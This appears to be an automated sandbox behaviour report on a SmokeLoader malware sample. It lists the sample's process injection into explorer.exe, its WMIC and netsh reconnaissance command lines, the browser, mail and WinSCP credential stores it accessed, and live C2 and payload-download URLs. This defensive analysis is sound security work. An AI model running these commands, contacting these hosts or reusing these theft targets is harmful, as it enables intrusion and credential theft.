Source: C:\Users\user\AppData\Roaming\esjbbri	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uejbbri	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: A279C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: A279C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: A279C0	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Code function: RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep, explorer.exe		16_2_03091016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep, explorer.exe		16_2_030910A5

Source: C:\Users\user\AppData\Local\Temp\B575.exe	Process created: C:\Windows\System32\cmd.exe cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 path win32_operatingsystem get caption,csdversion,buildnumber,version,buildtype,countrycode,currenttimezone,installdate,lastbootuptime,locale,osarchitecture,oslanguage,osproductsuite,ostype,systemdirectory,organization,registereduser,serialnumber /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 path win32_operatingsystem get caption,csdversion,buildnumber,version,buildtype,countrycode,currenttimezone,installdate,lastbootuptime,locale,osarchitecture,oslanguage,osproductsuite,ostype,systemdirectory,organization,registereduser,serialnumber /format:csv			Jump to behavior

Source: explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd=
Source: explorer.exe, 00000002.00000000.2123923461.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000002.00000000.2124953816.0000000004B00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2123923461.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000002.00000000.2123923461.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000002.00000000.2123923461.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000002.00000000.2123559301.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PProgman

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 9_2_032C55EB cpuid

9_2_032C55EB

Source: C:\Users\user\AppData\Local\Temp\B575.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\B575.exe

Code function: 8_2_00007FF7CB879224 GetSystemTimeAsFileTime,WaitForSingleObject,GetSystemTimeAsFileTime,TerminateProcess,WaitForSingleObject,GetExitCodeProcess,

8_2_00007FF7CB879224

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 9_2_03272198 RtlZeroMemory,GetVersionExW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlCompareMemory,RtlCompareMemory,StrStrIW,FreeLibrary,

9_2_03272198

Source: C:\Users\user\AppData\Local\Temp\B575.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh firewall show state

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh firewall show state

Source: B575.exe, 00000008.00000003.3228352555.000002EC777F5000.00000004.00000020.00020000.00000000.sdmp, B575.exe, 00000008.00000002.4536563179.000002EC777F9000.00000004.00000020.00020000.00000000.sdmp, B575.exe, 00000008.00000003.2966897326.000002EC777E9000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Local\Temp\B575.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\B575.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\B575.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiSpywareProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM FirewallProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiSpywareProduct

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4535198953.0000000000D21000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6432, type: MEMORYSTR
Source: Yara match	File source: 6.2.E647.exe.24e0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.E647.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.uejbbri.24b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.E647.exe.2610000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uejbbri.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uejbbri.24a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2365295307.0000000002631000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2141528306.00000000040E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2655758710.00000000040F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2138710138.0000000002610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2655384170.0000000002620000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2900412124.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2603297963.0000000002610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2365240792.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2843112467.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2900483247.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4535198953.0000000000D21000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6432, type: MEMORYSTR
Source: Yara match	File source: 6.2.E647.exe.24e0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.E647.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.uejbbri.24b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.E647.exe.2610000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uejbbri.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.uejbbri.24a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2365295307.0000000002631000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2141528306.00000000040E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2655758710.00000000040F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2138710138.0000000002610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2655384170.0000000002620000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2900412124.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2603297963.0000000002610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2365240792.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2843112467.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2900483247.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	12 Native API	Boot or Logon Initialization Scripts	522 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	1 Credentials in Registry	249 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Command and Scripting Interpreter	Login Hook	Login Hook	1 Software Packing	NTDS	871 Security Software Discovery	Distributed Component Object Model	11 Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	34 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	4 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	34 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	522 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
KTh1gQlT9a.exe	34%	ReversingLabs
KTh1gQlT9a.exe	100%	Avira	HEUR/AGEN.1310247
KTh1gQlT9a.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\esjbbri	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Roaming\uejbbri	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Local\Temp\E647.exe	100%	Avira	HEUR/AGEN.1310247
C:\Users\user\AppData\Roaming\esjbbri	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\uejbbri	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B575.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\E647.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\esjbbri	34%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://excel.office.com	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://api.msn.com/	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://calvinandhalls.com/application/x-www-form-urlencodedMozilla/5.0	0%	Avira URL Cloud	safe
https://powerpoint.office.comcember	0%	Avira URL Cloud	safe
https://23.145.40.164/ksa9104.exe	0%	Avira URL Cloud	safe
https://calvinandhalls.com/	0%	Avira URL Cloud	safe
https://calvinandhalls.com/search.phpMozilla/5.0	0%	Avira URL Cloud	safe
https://word.office.comon	0%	Avira URL Cloud	safe
http://www.autoitscript.com/autoit3/J	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://calvinandhalls.com/earch.phpX	0%	Avira URL Cloud	safe
http://unicea.ws/tmp/index.php	0%	Avira URL Cloud	safe
http://nwgrus.ru/tmp/index.php	100%	Avira URL Cloud	malware
https://calvinandhalls.com/search.php	0%	Avira URL Cloud	safe
https://calvinandhalls.com:443/search.phpge	0%	Avira URL Cloud	safe
http://tech-servers.in.net/tmp/index.php	0%	Avira URL Cloud	safe
https://outlook.com	0%	Avira URL Cloud	safe
https://calvinandhalls.com/search.phpx	0%	Avira URL Cloud	safe
https://calvinandhalls.com/search.phpI	0%	Avira URL Cloud	safe
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	0%	Avira URL Cloud	safe
https://wns.windows.com/)s	0%	Avira URL Cloud	safe
http://crl.v	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
calvinandhalls.com	23.145.40.162	true	true	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
nwgrus.ru	116.58.10.60	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://23.145.40.164/ksa9104.exe	true	Avira URL Cloud: safe	unknown
http://unicea.ws/tmp/index.php	true	Avira URL Cloud: safe	unknown
http://nwgrus.ru/tmp/index.php	true	Avira URL Cloud: malware	unknown
https://calvinandhalls.com/search.php	true	Avira URL Cloud: safe	unknown
http://tech-servers.in.net/tmp/index.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://calvinandhalls.com/	explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.comon	explorer.exe, 00000002.00000000.2127227127.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000002.00000000.2129926685.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	false	URL Reputation: safe	unknown
https://calvinandhalls.com/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 00000009.00000002.2999912401.00000000035D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	false	Avira URL Cloud: safe	unknown
https://calvinandhalls.com/search.phpMozilla/5.0	explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2947253493.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4536695596.00000000033E7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4536019543.0000000001119000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4537067944.0000000003207000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.4535707850.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://powerpoint.office.comcember	explorer.exe, 00000002.00000000.2129326664.000000000C460000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	false	URL Reputation: safe	unknown
https://calvinandhalls.com/earch.phpX	explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	false	URL Reputation: safe	unknown
https://excel.office.com	explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.micro	explorer.exe, 00000002.00000000.2126713671.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2125996604.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2126747794.0000000008890000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	false	URL Reputation: safe	unknown
https://outlook.com	explorer.exe, 00000002.00000000.2127227127.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	false	URL Reputation: safe	unknown
https://calvinandhalls.com/search.phpx	explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000002.00000000.2125128556.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://calvinandhalls.com:443/search.phpge	explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	false	URL Reputation: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000002.00000000.2129326664.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/	explorer.exe, 00000002.00000000.2127227127.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://calvinandhalls.com/search.phpI	explorer.exe, 00000009.00000002.2999912401.0000000003560000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	explorer.exe, 00000002.00000000.2123559301.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	explorer.exe, 00000009.00000003.2965923859.00000000035CE000.00000004.00000020.00020000.00000000.sdmp, 6B89.tmp.9.dr	false	URL Reputation: safe	unknown
https://wns.windows.com/)s	explorer.exe, 00000002.00000000.2127227127.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
